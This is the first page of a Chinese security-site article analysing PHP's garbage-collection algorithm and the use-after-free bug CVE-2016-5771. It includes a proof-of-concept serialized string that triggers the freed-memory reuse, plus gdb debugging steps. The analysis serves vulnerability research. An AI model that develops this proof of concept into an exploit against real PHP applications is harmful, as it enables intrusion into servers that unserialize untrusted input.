欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

PHP垃圾回收机制UAF漏洞分析

来源:本站整理 作者:ph1re 时间:2016-12-19 TAG: 我要投稿

一、PHP垃圾回收机制简介
因为PHP当中存在循环引用,仅以refcount计数器作为垃圾回收机制是不够的,因此在PHP5.3中引入了新的垃圾回收机制。
$a = array('one');
$a[] = &$a;
unset($a);
?>
在PHP5.2及以前的版本中无法回收变量$a的内存。
在PHP5.3以后的新垃圾回收机制算法以颜色标记的方法来判断垃圾
将所有数组和对象zval节点放入gc_root_buffer并标记为紫色潜在垃圾已放入缓冲区。当节点缓冲区被塞满默认为10000或调用gc_collect_cycles()时开始进行垃圾回收。
以深度优先对zval及其子节点所包含的zval进行refcount减1操作并标记为灰色已减一。
再次以深度优先判断每一个节点包含的zval的值如果zval的refcount等于0那么将其标记成白色垃圾。如果zval的refcount大于0那么将对此zval以及其子节点进行refcount加1还原同时将这些zval的颜色变成黑色正常。
遍历zval节点将C中标记成白色的节点zval释放掉。
垃圾回收算法代码如下 Zend/zend_gc.c
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
        gc_mark_roots(TSRMLS_C);
        gc_scan_roots(TSRMLS_C);
        gc_collect_roots(TSRMLS_C);
[...]
        /* Free zvals */
        p = GC_G(free_list);
        while (p != FREE_LIST_END) {
            q = p->u.next;
            FREE_ZVAL_EX(&p->z);
            p = q;
        }
[...]
}
其中重要的就是gc_mark_roots、gc_scan_roots和gc_collect_roots这三个函数
gc_mark_roots对gc_root_buffer中的每个节点调用zval_mark_greyzval_mark_grey;对节点及其子节点refcount减一并标记为灰色;对已标记为灰色的节点不处理。
gc_scan_roots调用zval_scan对每个节点进行处理,zval_scan只处理灰色节点;调用zval_scan_black对节点refcount大于0的节点的refcount加一并标记为黑色。refcount为0的节点标记为白色。
gc_collect_roots把所有白色节点放入gc_free_list链表等待释放。
二、CVE-2016-5771分析
poc
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
?>
序列字符串的本意是定义一个数组,其中包含一个ArrayObject,对象ArrayObject里又包含一个内部数组,内部数组成员是两个引用,一个指向外部数组,一个指向内部数组。但是经过反序列化和垃圾回收之后,外部数组的内存被释放了,但PHP并不知道从而导致Use After Free。

预期的结果应该是
array(1) { // outer_array
  [1]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(2) { // inner_array
      [1]=>
      // Reference to inner_array
      [2]=>
      // Reference to outer_array
    }
  }
}
而实际的运行结果是
string(4) "bbbb"
我们就来调试看一下到底发生了什么。首先编辑PHP自带的.gdbinit在末尾出添加
define dumpgc
    set $current = gc_globals.roots.next
     printf "GC buffer content:\n"
     while $current != &gc_globals.roots
        printzv $current.u.pz
      set $current = $current.next
    end
end
然后在gdb中输入
(gdb) source .gdbinit
这样就可以直接用dumpgc命令来查看gc_root_buffer中的内容了。我们把断点下在gc_collect_cycles()函数上看看垃圾回收过程中究竟发生了什么。
(gdb) b zend_gc.c:gc_collect_cycles
Breakpoint 1 at 0x98dc4a: file /root/php-5.6.20/Zend/zend_gc.c, line 779.
(gdb) r 1.php
Starting program: /root/php-5.6.20/sapi/cli/php 1.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:779
779             int count = 0;
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd0f40] (refcount=2) array(1): {
    1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1
  }
[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {
    1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):
    2 => [0x7ffff7fd0f40] (refcount=2) array(1):
  }
[0x1306380] (refcount=8074858) NULL

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载